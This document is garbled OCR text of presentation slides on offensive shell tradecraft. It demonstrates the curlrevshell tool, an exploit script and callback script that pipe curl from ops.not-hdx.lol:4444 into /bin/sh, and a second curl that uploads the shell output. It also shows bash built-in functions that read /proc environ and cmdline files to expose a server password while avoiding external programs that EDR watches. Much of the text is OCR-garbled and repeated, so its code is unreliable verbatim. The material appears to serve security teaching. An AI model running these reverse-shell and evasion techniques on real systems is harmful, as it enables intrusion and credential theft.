12:14:15.912 Welcome to curlrevshell version v@.@.1-beta.7.0.20250905220249-9c38398bced%b
12:14: 15 943 Ltstemng an Ei 0.0.0:4444

12:14: 948 To g she

curl -sk --pinnedpubkey shaZ56//CkYNAzyh4tRP1VZMSTIXpiMSANEVK7Bas1IRHPCDZ/0l= https://ops.not-hdx. Lol - 4444 /¢ bin/sh

Code: github.com/magisterquis/curlrevshell




Text streams are a universal interface, except NULs

= i fourutils. subr {~Jersfetri-i) - VIM R ¥

8,1 by



Text streams are a universal interface, except NULs

= a0 fourutils. subr {~Jersfetri-i) - VIM R ¥

§ & TABDOC: scat Print the contents of the text file 31 to stdout

8,1 7%
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Text streams are a universal interface, except NULs

= g fourutils.subr [~jersfctri-ij - VIM K2 & & Ops - Curlrevshell K

§ & TABDOC: scat Print the contents of the text file 31 to stdout

8,1 7%

185



Text streams are a universal interface, except NULs

= g fourutils.subr [~jersfctri-ij - VIM K2 & & Ops - Curlrevshell K

§ & TABDOC: scat Print the contents of the text file 31 to stdout

8,1 7%

196



Text streams are a universal interface, except NULs

= [+ fourutils.subr [~jersfctri-ij - VIM K2 & & Ops - Curlrevshell K

§ & TABDOC: scat Print the contents of the text file 31 to stdout.

xcat Jproc/$SSemviron

8,1 7%
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Text streams are a universal interface, except NULs

@ [ ] fourutils.subr {=/ersfetri-i) - VIM K2 [ ] @ Ops - Curlrevshell ¥

H# H;.HIIHZ: I.EI:.It Print the contents of the text FL'lelill to std;:ut_
9 weat() { echo -E "$(<"$1")"%; } o
18 1203

46, 720 SHAZSGR: 412d0cZRfRchcebbd ™ IelloTedSeIFc TEIbE 124 cRR I 27 dSRIaT 35 T FEL

11 » meat Jproc/$iJenviron

12 matn: Line 19: worning: commond substitution: ignored null byte in input

13 USER=wurzeLXDG_SESSTOM_TYPE=t ty SHLVL ~8MITD_SHIWN=ponHOME=/home /wurze | DBLS _SESSTON_BUS_ADDRES5=u
14 nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u
15 serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1
16 ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee
17 145584 0c854cdacLANG=L  UTF - BSHELL~/bin/bashPWD=/hosne ‘murzel

18

19

Zh

21

£2

23

24

8,1 ]

198



Text streams are a universal interface, except NULs

ane fourutils.subr {~Jers/ctri-i} - VIM TH2 ao® Ops - Curlrevshall he 3
& # TABDOC: xcot Print the contents of the text file 31 to stdout. 12:38: 46,724 Thnerting tr
9 weatl} ‘ acho -E “$(<"$1"3": } 129046720 Traertid B2 bvbis From crefckil-1

1% 12:38:46. 729 SHAZSE: 4120cZEYRCOCeBEd43e8]oTod5edfc7e0bE12df cel I 2d7dSR3dTISC TR FELT

11 > xeat "E""“*"“"*"’“Lﬁ‘l’,‘ H— p——

12 !mtn Line 19: warning: cmnw_y_g:.ttmton t_gm ed nu1.1 I:lrct m_r:-gg_:n

13 USER=wurzelXDG_SESSIOM_TYPE=tEySHLVL-SMOTD_ M-Khﬂ!ﬂﬂlﬂﬂﬂiﬁﬁﬂ”iﬂﬂ&w

14 nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u
15 serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1
ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee

it: 14558400 B4 caacLANG=C , UTF - BSHEL L=/bi n/bashPD=/hone ‘murzel

18
19
2
21
£
23
24
&,1 i
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Text streams are a universal interface, except NULs

@ [ ] fourutils.subr {=/ersfetri-i) - VIM K2 [ ] @ Ops - Curlrevshell ¥

H# H;.HIIHZ: I.EI:.It Print the contents of the text FL'lelill to std;:ut_
9 weat() { echo -E "$(<"$1")"%; } o
18 1203

46, 720 SHAZSGR: 412d0cZRfRchcebbd ™ IelloTedSeIFc TEIbE 124 cRR I 27 dSRIaT 35 T FEL

11 » meat Jproc/$iJenviron

12 matn: Line 19: worning: commond substitution: ignored null byte in input

13 USER=wurzeLXDG_SESSTOM_TYPE=t ty SHLVL ~8MITD_SHIWN=ponHOME=/home /wurze | DBLS _SESSTON_BUS_ADDRES5=u
14 nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u
15 serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1
16 ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee
17 145584 0c854cdacLANG=L  UTF - BSHELL~/bin/bashPWD=/hosne ‘murzel

18

19

Zh

21

£2

23

24

8,1 ]
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Text streams are a universal interface, except NULs

ane fourutils.subr {~Jers/ctri-i} - VIM TH2 ao® Ops - Curlrevshall he 3
§ # TABDOC: wcat Print the contents of the text file 51 to stdout. | 12:38:46.728 Tnserting cra/cts
9 weat() { echo -E "3(<"$1")"%; } 12:38:46.729 Inserted B26 bytes from crafctrl-i

1 12238:46. 729 SHAZSE 122 B¥RCOCebEd P 3R loT 4 Se I Fe TRIbE L2 Fr R AR 2T ISR e T IS c T FEL 1

11 # TABDOC: wdcat Print the MUL-terminoted lines of $1 to stdout. > meat /proc/$3/enviren

matn: Line 19: worning: commond substitution: ignored null byte in input

USER=murzelXDG_SESSTON_TYPE=t by SHLVL-8MOTD_SHIWN=ponHOME=/home ‘wurze | DBLS _SESSTON_BUS_ADDRESS=u
nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u
serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1
ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee

ir?f : 14558400 B4 caacLANG=C , UTF - BSHEL L=/bi n/bashPD=/hone ‘murzel

18
19
2
21
£
23
24

12 wlcot() {

13 while reod -d " -p; do
14 echa -E "SREPLY"
15 done <"§1°

&,1 i
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Text streams are a universal interface, except NULs

ane fourutils.subr (~fersfctri-i) - VIM K2

§ # TABDOC: wcat Print the contents of the text file 51 to stdout. |

9 weat() { echo -E "3(<"$1")"%; }
18
11 # TABDOC: w@cat Print the NUL-termingted lines of §1 to stdout.
12 wlcot() {
13 while read[-d "' ]-r; do
14 echo L "SREPLY"
15 done <"§1°
16 }
17
18
19
20
21
£
23
24
8,1 i ]

& & Ops - Curlrevshell e 3]
r: 3046 778 Tnserting crsfcts

Z-18:46.729 Inserted B2G byies From crefcirl-1

o IA46. P29 SHAZSEH L2dc 28 RCombed M Il loT i Sedfc .|-I||||'. 12 cblA0e 27 dhidIaT 35 i H ELf

» meat Jproc/$iJenviron
matn: Line 19: worning: commond substitution: ignored null byte in input
USER=murzelXDG_SESSTON_TYPE=t by SHLVL-8MOTD_SHIWN=ponHOME=/home ‘wurze | DBLS _SESSTON_BUS_ADDRESS=u
nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u
serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1
ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee
145584 0c854cdacLANG=L  UTF - BSHELL~/bin/bashPWD=/hosne ‘murzel
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Text streams are a universal interface, except NULs

ane fourutils.subr (~fersfctri-i) - VIM K2

§ # TABDOC: wcat Print the contents of the text file 51 to stdout. |

9 weat() { echo -E "3(<"$1")"%; }
18
11 # TABDOC: w@cat Print the NUL-termingted lines of §1 to stdout.
12 wlcot() {
13 while reod -d " -p; do
14 echa -E "SREPLY"
15 done <"§1°
16 }
17
18
19
20
21
£2
23
24
8,1 ]

& & Ops - Curlrevshell e 3]
r: 3046 778 Tnserting crsfcts

Z-18:46.729 Inserted B2G byies From crefcirl-1

o IA46. P29 SHAZSEH L2dc 28 RCombed M Il loT i Sedfc .|-I||||'. 12 cblA0e 27 dhidIaT 35 i H ELf

» meat Jproc/$iJenviron
matn: Line 19: worning: commond substitution: ignored null byte in input
USER=murzelXDG_SESSTON_TYPE=t by SHLVL-8MOTD_SHIWN=ponHOME=/home ‘wurze | DBLS _SESSTON_BUS_ADDRESS=u
nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u
serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1
ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee
145584 0c854cdacLANG=L  UTF - BSHELL~/bin/bashPWD=/hosne ‘murzel
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Text streams are a universal interface, except NULs

ane fourutils.subr {~Jers/ctri-i} - VIM TH2 ao® Ops - Curlrevshall he 3
§ # TABDOC: xcot Print the contents of the text file 51 to stdout. 12:38:46.728 Tnserting cra/cts

9 weaty J acha -E "${<"31"}": } 17-38:46.729 Inserted B26 bytes From craifctrl-1

1 12238:46. 729 SHAZSE 122 B¥RCOCebEd P 3R loT 4 Se I Fe TRIbE L2 Fr R AR 2T ISR e T IS c T FEL 1

11 # TABDOC: acat Print the NUL-terminated lines of $1 to stdout. > xcat /proc/$S/environ _

12 wlcot() 1 main: line 19: warning: command substitution: ignored null byte in input

13 e iy e S o USER=wurzel XDG_SESSTON_ TYPE=t by SHLVL=8M0TD_SHIWN=panHOME=/home /wurze | DBUS_SESSTON_BUS_ADDRESS=u

nix:path=/run/user/ 1080, bus LMAME=wurzel _=/hone/wurzel /bin/vulnerableserverXDi_SES5I0N_CLASS=u

i: ey f..ilél'.'h"' . serkDG_SESSION_ID=565PATH=/home/wurzel /bin:  home ‘wurzel /bin: /usr/locol/bin: Ausribing Aing fusedl
16 1 ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee
17 1 1455840cB84cdacLANG=C , UTF - BSHELL~/bin/bashPD=/hose /murzel
18 » xBcat /proc/3s/environ

USER=murzel
}3 XDG_SESSION_TYPE=tty
- SHLVL=R
= MOTD_SHOWN=pam
o HOME =/ home Swurzel
23 DBUS_SESSION_BUS_ADDRESS=wnix; poth=/run/user/1008/bus
o LOGNAME=wurzel

8.1 ??'h': _=/hosefwurzel /binswilrerableserver

e —_————" X0G_SESSION_CLASS=User

XDG_SESSION_1D=565

PATH=/home/murzel /bin; ome/wurzel in:fusr/ local/bin: Ausrs/bin: /bin: fusr/locol/gomes ; /usr/games

ADG_RUNTIME _DTR=/run/user/10a8

VULNERABLE _SERVER_PASSHORD=bEIT4FI5h 717 cb8ee 1455848 B4 ctac

LANG=C.UTF-8

SHELL=/bin/bash

FAD=/home /murzel
B
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Text streams are a universal interface, except NULs

| BN | fourutils.subr {=fersfctri-i) - VIM K2 L AN Ops - Curlrevshell i1
8 # TABDOC: xcot Print the contents of the text file $1 to stdout. | 12:38:46.728 Tnserting cra/ctrl-|

9 weat() { echo -E "3(<"$1")"%; } 17:38:46.729 Inserted B26 bytes From cra/fctrl-i

18 12:¥8:46.720 SHAZSE: 4124c2R¥BCOCeded 43N LoT o450 FCTHIbEL24f Chl I 247 dSR3aT ST AL 1

11 # TABDOC: afcat Print the NUL-termingted lines of 51 to stdout. > xcat /proc/$S/environ _

12 wlcot() 1 main: line 19: warning: command substitution: ignored null byte in input

1 T R SN e | USER=murzel XDG_SESSTON_ TYPE=ttySHLVL=EMOTD_ SHOWH=panHOME=/home/wurze | DBUS_SESSTON_BUS_ADDRESS=u

nix:path=/run/usery 1088/ /bus LOBME=wurzel _=/hone/wurzel/bin/vulnerableserverkDG_SESSION_CLASS=u

i; dige f..i'!'“.'h" . serkDG_SESSION_ TDmSESPATH/home /murzel Abin: homeurzel bin: /usr/locol /bin: Ausr/bin: Bin: fused]
16 1 ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee
17 1 1455840 BBLcdacLANG= , UTF - BSHEL L=/Bin/bashPiD=/hone murzel
18 = xicat Jproc/isSenviron

USER=murzal
i XDG_SESSION_TYPE=tty
20 SHLVL =B
= MOTD_SHOWN=pam
o HOME =/ home fwurzel
23 DBUS_SESSION_BUS_ADDRESS=wnix; poth=/run/user/1008/bus
24 LOGNAME =purzel

8.1 i _=/home fwurzel /bin wilperabl aserver

T X0G_ SESSION_CLASS=User

X0G_SESSION_ID=565

PATH=/home/murzel /bin; ome/wurzel in:fusr/ local/bin: Ausrs/bin: /bin: fusr/locol/gomes ; /usr/games
XDG_RUNTIME DIR=/run/user/1000
h'ULN.ERi.BLE SEHUELPASWMHSI:?1?1:68&&145534&:88{:&&:.
AR e e
SHELL=/bin/bash
| PAD=/home /wurzel
e
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Text streams are a universal interface, except NULs

ene fourutils.subr {~fersfetri-i) - VIM 2

§ # TABDOC: wcat Print the contents of the text file 51 to stdout. |

9 weat() { echo -E "3(<"$1")"%; }

1B

11 @ TABDOC: a@cat Print the NUL-termingted lines of $1 to stdout.
12 wlcot() {

13 while reod -d " -p; do

14 echo -E "SREPLY"

15 done <"§1°

16 }

17

18 & TABDOC: xps Mot-greot process Listing
19 xps() {

28 for C in /proc/*/ondline; do
21 echo =E "eecs $L sees™
£2 xBeat “IC"

23 dhoniz

24 }

8,1 ]

L N Ops - Curlrevshell e 3]
Y3846 728 Tnserting erafctr] -1

F-A8-46. 729 Inserted B2G byites From crafctrl-1

223846729 SHAZSG: 412d4c2BfRchoebbad P4 1ellaTodSeIFc TEIbEL T chlINc 2T ISR 3aTASC T FELY

> meat Jproc/$s/environ

matn: Line 19: worning: commond substitution: ignored null byte in input

| USER=wurzelXDG_SESSTON_TYPE=tty SHLVL=8M0TD_SHIWN=panHOME =/home /wurze | DBLFS_SESSTON_BUS_ADDRESS=u

nix:path=/run/usery 1088/ /bus LOBME=wurzel _=/hone/wurzel/bin/vulnerableserverkDG_SESSION_CLASS=u

serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefmurzel. bin: fusr/localbin fusribin: Ain: fused1

ocal /games : /usr/gamesXDG_RUNTIME_DIR=/run/user/1008YULNERABLE _SERVER _PASSWORD=bGIT4F 150717 cbBee

145584 0c884cdacLANG=L , UTF - BSHELL~/bin/bashPWD=/hosne ‘murzel

» xBeat Aproc/3s/environ

USER=murzel

KOG_SESSION_TYPE=tiLy

SHLYL=B

MOTD_SHOWN=pam

HOME = home /wurzel

DBUS_SESSION_BUS_ADDRESS=wnix; poth=/run/user/1008/bus

LOGNAME =wurzel

_=/homefwurzel /minSwlnerableserver

XDG_SESSION_CLASS=user

XDG_SESSION_IB=565

PATH=/home/murzel /bin; ome/wurzel in:fusr/ local/bin: Ausrs/bin: /bin: fusr/locol/gomes ; /usr/games
ADG_RUNTIME _DTR=/run/user/10a8

VULNERABLE _SERVER_PASSHORD=bEIT4FI5h 717 cb8ee 1455848 B4 ctac

LANG=C.UTF-8

SHELL=/bin/bash

| PAD=/home /wurzel
B
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Text streams are a universal interface, except NULs

ane fourutils.subr (~fersfctri-i) - VIM T2

& # TABDOC: xcot Print the contents of the text file $1 to stdout. |

8 wcat() { echo - "$(<"$1"3": }
1@
11 # TABDOC: w@cat Print the NUL-termingted lines of §1 to stdout.
12 wlcot() {
13 while read -d ** «r; do
14 echo -E "SREPLY"
15 done <"%1°
16 }
17
18 & TABDOC: xps Mot-greot process Listing
19 wps(d {
28 for € in Jproc/*/omdline; do
21 gcho -E "=e=-s 3L ==sa”
£2 xBeat “IC"
23 dhoniz
24 }
8.1 ]

RN w1

= tab_list
tab_list

Ops - Curlrevshell

- This function list

xBcat - Print the MUL-terminated lines of $1 to stdout,
xcat - Print the contemts of the text file $1 to stdout.
KPS - Mot-great process listing
O SDeDEEE——

eee Ops - Curlrevshell i
38:46. 774 Tnserting wietr] =1
2:38:46.729 Inserted B26 bytes From crafctrl-i
PiIA46. 729 SHAZSE: 412dcZBRcOcelbd743e8loTodNeIFeTEIbE LI bl I 2T a3 T I5C T FELf

| » weat sproc/33/envicon

matn: Line 19: worning: commond substitution: ignored null byte in input

| USER=wurzelXDG_SESSTON. TYPE=ttySHLVL=BMOTD_SHOWN=posHOME=/home /wurze | DEUS_SESSTON_BUS_ADDRESS=u
nix:path=/run/usery 1088/ /bus LOBME=wurzel _=/hone/wurzel/bin/vulnerableserverkDG_SESSION_CLASS=u
serXDG_SESSION_ID=S565PATH=/home wurzel /bin: /homefwurzel. bin: fusr/locolbin fusribin: Ain: fusedl

| pcal /games: /usr,/games XDG_RUNTIME_DTR=/run/user/ 1000VULNERABLE_SERVER_PASSMORD-bEA74FI5HT17 chime
145584 0c884cdacLANG=L , UTF - BSHELL~/bin/bashPWD=/hosne ‘murzel

» xBeat Aproc/3s/environ

USER=murzel

XDG_SESSION_TYPE=thy

SHLVL =8

| MOTO_SHOWN=pam

HOME = home /wurzel

| DBUS_SESSTON_BUS_ADDRESS=unix; poth=/run/user/ 1008/ bus

LOGNAME =wurzel

_=/homefwurzel /minSwlnerableserver

XDG_SESSION_CLASS=user

XDG_SESSION_IB=565

PATH=/home/murzel /bin; ome/wurzel in:fusr/ local/bin: Ausrs/bin: /bin: fusr/locol/gomes ; /usr/games
ADG_RUNTIME _DTR=/run/user/10a8

| YULNERABLE_SERVER_PASSWORD=bG374F 35071 7 obiea1455848cB84ctac

LANG=C.UTF-8

SHELL=/bin/bash

| PAD=/home /wurzel
R
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Text streams are a universal interface, except NULs

ane fourutils.subr {~fersjetri-i) - VIM K2

9 weat() { echo -E "$(<"$1")"%; }
1%
# TABDOC: widcat Print the NUL-termingted lines of $1 to stdout.
wlcat() {
while read -d ** «r; do
echo -E "SREPLY"
done <"§1"

18 & TABDOC: xps Mot-greot process Listing

wps() {
for C in Jproc/*/ondline; do
gcho -E "=e=-s 3L ==sa”
xBeat “IC"
diomne
24 3
8,1 ™ ;
ERE N Ops - Curlrevshell hd
= tab_list
| tab_list - This function list
xBcat - Print the MUL-terminated lines of $1 to stdout,
xcat - Print the contemts of the text file $1 to stdout.
KPS - Mot-great process listing

# TABDOC: xcot Print the contents of the text file 51 to stdout.

[ BN ] Ops - Curlrevshell 1
12:38:46. 728 Tnserting orafcerl-1
12:38:46.729 Inserted B26 bytes from crafctrl-i

12:38:46. 729 SHAZSG: 412dc?RYBCOCABGAT4IeE 10T 5eIFc TEIbE LI chlINc 20T dSR I TASCc T FEL T
| » meat /proc/$%/emviron
'matn: Line 19: worning: commond substitution: ignored null byte in input
| USER=wurzelXDG_SESSTON. TYPE=ttySHLVL=BMOTD_SHOWN=posHOME=/home /wurze | DEUS_SESSTON_BUS_ADDRESS=u
| nix:path=/run/user/ 1068/ bus LMAME=wurzel _=/hone/ wurzel /bin/vulnerableserverXDG_SESSION_CLASS=u
| seriDG_SESSION_ID=565PATH=/home/wurzel/bin:/ home wurzel /bin: /fusr/local/bin: fusr/bin: Ain: fusedl
| oeal /games: fusr/ gamesXDG_RUNTIME_DIR=run/user 1008VULNERABLE_SERVER_PASSWORD-bEOT4FI5hT 17 chBee
| 1455848cEB4cdacLANG=L , UTF - BSHELL~/bin/bashPD=/hose /mirzel
| » x@eat /proc/$3/environ
| USER=wurzel
XDG_SESSION_TYPE=thy
| SHLVL=B
| MOTO_SHOWN=pam
| HOME =/ home/wurzel
| DBUS_SESSTON_BUS_ADDRESS=unix; poth=/run/user/ 1008/ bus
| LOGNAME =wurzel
_=/home/wurzel /binSvulnerableserver
| XDG_SESSION_CLASS-user
XDG_SESSION_IB=565
PATH=/home/murzel /bin; ome/wurzel in:fusr/ local/bin: Ausrs/bin: /bin: fusr/locol/gomes ; /usr/games
ADG_RUNTIME _DTR=/run/user/10a8
i YULNERABLE SERVER_PASSWORD=bES74F150 717 cbBeel455848c EB4ctar
LANG=C.UTF-8
| SHELL=/bin/bash
| PAD=/home /wurzel
S
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Situational awareness with less ED(R?) awareness

wurzel 477131 9.@ 8.2 2584 4@ 7
wurzel 477133 9.0 2.3 04148 1119 7
https:/fops.not-hdx. Lol ;44441 /34kwiBcbxZj7g -N
wurzel 477134 8.8 8.1 2584 B84 7
wurzel 477138 9.0 ©.8 BS540 4204 7
wurzel 477135 2.0 2.6 9409 12200 7

5
5

5
L
5

18:14
10:14

10:14
18:14
18:14

Ops - Curlrevshell it 4

8:98 /binsh
@:08 o ocurl -sk --pinnedpubkey sha25e//CkYNAZyh4 tRP1IVEMSTINp jMSXNVKTBas IRHPCDZ/01=

8:08 N /binsh
@:0d | N ps owwwfux
2:08 “_ curl -K- something-normal . com

209



Situational awareness with less ED(R?) awareness

ece Ops - Curlrevehell T
wurzel 477131 9.8 ©.2 2584 9487 5 18:14 9:98 /bin sh
wurzel 477133 9.8 2.3 94148 1119 7 5 18:14 288 _ curl -sk --pinnedpubkey sha256//CkYWAzyhdtRP1IVIMsTIXNp jMSANSVETBas LRHPCDZ/01=
https:/fops.not-hdx. Lol ;44441 /34kwiBcbxZj7g -N
wurzel 477134 9.8 8.1 2584 8B4 7 5 18:14  &:08 _ /binsh
wurzel 477138 9.0 ©.83 BS540 4204 7 R 16:14 :80 1| M ps owwwfux
_vn.u'zel 477135 2.0 2.6 4D9%6 12200 7 5 10:14 @:88 _ curl -K- something-normal.com J
e —
L RN Ops - Curlrevshell bt
=== Sproc/477131/omdling ----
Abindsh
---= Sproc/477133/omdl ine ----
curl
-sk
--pinnedpubkey

sha56//CkYHAzyh4tRPIVZMSTIXp JMS NGV KT Bas LRHPCDZ/01=
https:/fops. not-hdx . Lol 14444/ 34kwilchx277g

-N

==~ fproc/477134/cmdline ---—-

/bin/bash

-—= fproc/477135/ondlinge -——-—

curl

K=

something-normal . com

R
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Situational awareness with less ED(R?) awareness

ace Ops - Curlrevehall i
wurzel 477131 8.0 9.2 2534 @7 g 10:14  9:08 /bin'sh .
wurzel 477133 9.0 2.3 04148 11196 7 5 10:14  9:08 “_ curl -sk --pinnedpubkey sha2S6//CkYWAzyhdtRPIVZMTINp jMSXNOVKTBas I RHPCDZ 01=
https:/fops.not-hdx. Lol ;44441 /34kwiBcbxZj7g -N
wurzel 477134 9.8 8.1 2584 8B4 7 5 18:14  &:08 _ /binsh
wurzel 477138 9.0 ©.83 BS540 4204 7 R 16:14 :80 1| M ps owwwfux
__vn.u'zel 477135 2.0 2.6 4D9%6 12200 7 5 10:14 @:88 _ curl -K- something-normal.com J
L B Ops - Curlrevshell T
=== fproc/477131/omdline ---- |
Abindsh
---- fproc/477133/cmdl ine ---—-
curl
-sk | BN Ops - Curirevsheil K1
--pinnedpubkey [ ani® on Wi e e
Sha256//CkYHAZyh4 tRPIVZMSTIXp jMSXNOVI7Bas] RHPCD2/0T= e o o e DL R RGEA Saae 1og
P_iﬁtps:#ms.mt-h-ix.lnl 44441/ 34kwiBcbx2 §7g 2025/09/10 183515 § /binssh
Jproc/477134/cndline 2025/89/18 10:41:06 5 tail -n 3
- ——
/bin/bash ——
-—= fproc/477135/ondlinge -——-—
curl
e

something-normal . com
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Shell Gymnastics

A recap

We want the kernel to do things
for us

The kernel will do whatever it
gets a system call to do

Shell built-ins and external
programs make system calls

EDR sees external programs
a. ...ifthey're even there
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e kernel to do things

ernel will do whatever it
system call to do

Shell Gymna
tl;dr - We make syscalls,

kernel does things

puilt-ins and external
ams make system calls

sees external programs
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Networking




socket(2)/connect(2)/math/read(2)write(2)




WEe'll look at that curl thing tater

Ops - Curlrevshell

K

wurzel
wurzel

477131 @.@ 9.2 2581 948 7
477133 8.8 2.3 94148 111% 7

b 19:14 9:98 /bin'sh

5 19:14  @:08 _ curl -sk --pinnedpubkey sha25e//CkYWAzZyhdtRPIVEMsTIXp jMSXNVETBas | RHPCDZ/0I=

https:/fops. not-hdx, Lol :4444/1/34kwiBcbxZ T -N

wurzel
wurzael
wurzel

—. s e Opt = Corratial

477134 9.9 0.1 2584 BB4 7
477138 8.0 9.8 BS540 420 7
477135 @.8 2.6 @96 12200 7

5 18:14  &:08 \_ /binSsh
R 16:14 @:80 1| M ps owwwfux
5

10:14 @:88 _ curl -K- something-normal.com

| ---- /proc/47713L/cmdline ----
| fbindsh
| ==== /proc/477133/cmdling ----
curl
| sk
| --pinnedpubkey
| sha256/  CkYNAZyh4 tRP1VZMsTINp JMS XNV TBos LRHPCDZ/D1=
https://ops . not-hdx. Lol : 444451 /34kwi8cbx2 j7q
| =N
--=- fproc/477134/cmdling ----
| /bin/bash
| ===- Sproc/477135/cmdline ----
| curl
K-
| something-normal . com

a — g
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WEe'll look at that curl thing tater

Ops - Curlrevshell

- wurzel

477131 9.0 9.2 2584 94 7

5 19:14  8:98 /bin'sh

| wurzel

- wurzel
wurzael
| wurzel

—. e Opt = Corratial

477133 8.8 2.3 94148 111% 7

5 18:14 288 . curl -sk --pinnedpubkey sha256//CkYWMAZyhdtRP1IVIMsTINp jMSXNVETBas L RHPCDZ/01=
|_https://ops.not-hdx. Lol :4444/1/34kwjBebx2j7g -N

477134 9.9 0.1 2584 8B4 7
477138 8.8 9.8 BS540 420 7
477135 @.8 2.6 @96 12200 7

5 18:14  2:00 _ /binsh
R 16:14 @:80 1| M ps owwwfux
5 10:14 @:88 _ curl -K- something-normal.com

| —--- /proc/477131/cmdline -——-
/bindsh

o —

-==- fproc/4Filiddsomdline ----
leurl

sk

||--pinnedpubkey

https://ops.not-hax. Lol - 44441 /34kwidcbx2 §7g
| -N

| Isha256/ /CkYWAZyha tRP1VZMSsTLXp jMSXNOVI7Bas IRHPCDZ/0T=

| —==- Jproc/477134/cmdline ----
| /bin/bash

| ===- Sproc/477135/cmdline ----
' curl

| K-

| something-normal . com
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WEe'll look at that curl thing tater

ace Ops - Curlrevehall i
.ﬂl.lf'ztl 477131 9.9 9.2 2584 oa4p 7 5 18:14 282 Jbindsh |
wurzel 477133 0.9 2.3 04148 1119 7 5 18:14 288 _ curl -sk --pinnedpubkey sha256//CkYWAzyhdtRP1IVIMsTIXNp jMSANSVETBas LRHPCDZ/01=

https:/fops. not-hdx, Lol :4444/1/34kwiBcbxZ T -N
wurzel 477134 9.0 8.1 2584 884 7

- wurzel 477138 8.0 @.8 BS540 420 7
wurzel 477135 9.9 2.6 94p9¢ 12700 7

19:14  9:00 _ /binsh
:08 | N\ ps owwwfux
R

LPalh-- IV
s s
[
™

| —--- /proc/477131/cmdline -——-
| fbindsh
----- Sproc/477133/emdling ----

| --pinnedpubkey

| 5ha256/ /CkYWAZyh4tRP1VZMSTINp JMSXNBVK7Bos IRHPCDZ/0T= |
| https://ops.not-hax. Lol - 44441 /34kwdcbx2 §7g

{ -N

J e Sproc/47T134/cmdling ----
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Original curl

N ] Ops - Exploit for a Shell 2
[stuartBops. not-hdx. 1ol ; /home/stuart]

% Jexploit.sh '

> curl M

= ==insecure

> --pinnedpubkey sha256//CkYWiAzyhdtRPIVIMsTIXp JMSXNOVK?Bas IRHPCD2/01= \
= --silent \

> https://ops.not-hdx . lol:4444/¢c |

> fbinfsh =/dev/mull 2-81 &

= L]
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What the original curl did

ene Ops - Callback Seript K2

[stuartBops . not-hdx . 1ol : homes s tuart]

3 curl A

> ==insecure %

> --pinnedpubkey sha2S56//CkYWAZyhatRPIVEMSTIXp JMSXNOVK7Bas I RHPCDZA0I=
> -=gilent %

> https://ops.not-hdx. Lol ;4444

#1/bin/sh
curl -sk --pinnedpubkey shaZ56//CkYWAzyh4tRPIVZMsTIXpjMSANGVK7BosIRHPCDZ/0I= https://ops.not-hdx. lol:4444/1 /31 jvbdbhwmiks -N </dev/mull 2-58 |

Fbin/sh 2-&1 |

»/devi/mill 2»&1 3@ curl -K- something-normal.com <<_eof
insecure

pinnedpubkey sha2Se//CkYWAZyh4tRP1VZMSTIXp MSXNOVK7Bas 1 RHPCDZ/01=
proto-defoult file

silent

uplood-file /dev/fd/3

url https://ops.not-hdx. lol:4444./0/31 w64 6wmEkS

_eof
R
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What the original curl did but all pretty

RN Ops - Callback Script (pretty) K2

1 #1/bin/sh ece Ops - Curlrevshell X1
2 curl -sk % | m=== Sproc/477130/ondline ----
3 --pinnedpubkey sha256//CkYWAzyh4tRPIVZMs TIXp MSXN@VK7BasIRHPCDZ/01= % | /bin/sh _
4 https://ops.not-hdx. Lol :4444/1/31 jve46hwmBkS : '“i /proc/477133/cndline ----
5 =N A\ -

| gk
b </dev/null 2=&G | I--pinnedpuhkny
g | sha2Se/ /CkYNAZyhdtRP1VEMS TIXp jMEXNOVE 7Bas | RHPCDZ /0T= |
8 /bin/sh 2-81 | ' htkps://ops.not-hdx. Lol :4444/1 /34kwiBcba2j7q
g ! -N
10 >/dev/null 2-41 3<&8 curl -K- something-normal.com <<_eof IFrw ‘f’r:c‘f‘m‘{‘“ﬂ'"ﬂ —
11 insecure | ---- fproc/477135/ondling ----
12 pinnedpubkey sha256//CkYWAzyh4tRPIVZMsTIXp jMSXNOVE7Bas1RHPCDZ/01= | curl
13 proto-default file | -X-
14 silent ;_smething—mrml.cm
15 upload-file /dev/fd/3 R
16 url https://ops.not-hdx.lol:4444/0/ 3] jvb4chwmBks
17 _eof

1.4 ALl

e —
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What the original curl did but all pretty

'O ® Ops - Callback Script (pretty) K2
